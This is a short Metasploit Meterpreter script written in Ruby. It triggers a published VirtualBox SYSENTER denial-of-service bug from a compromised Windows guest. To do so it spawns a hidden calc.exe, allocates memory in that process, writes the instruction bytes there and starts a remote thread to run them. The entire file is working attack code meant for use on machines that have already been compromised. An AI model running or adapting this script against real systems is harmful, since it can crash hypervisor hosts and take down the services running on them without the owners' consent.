opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")
print_line("USAGE: run virtualbox_sysenter_dos")
print_status(opts.usage)
raise Rex::Script::Completed
end
}
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
unsupported if client.platform != 'windows'
pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid
print_status("Calculator PID is #{pid}")
calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = calc.memory.allocate(32)
print_status("Allocated memory at address #{"0x%.8x" % mem}")
calc.memory.write(mem, "\x0f\x34\xc3")
print_status("VirtualBox SYSENTER Denial of Service launching...")
calc.thread.create(mem, 0)
print_status("VirtualBox SYSENTER Denial of Service delivered.")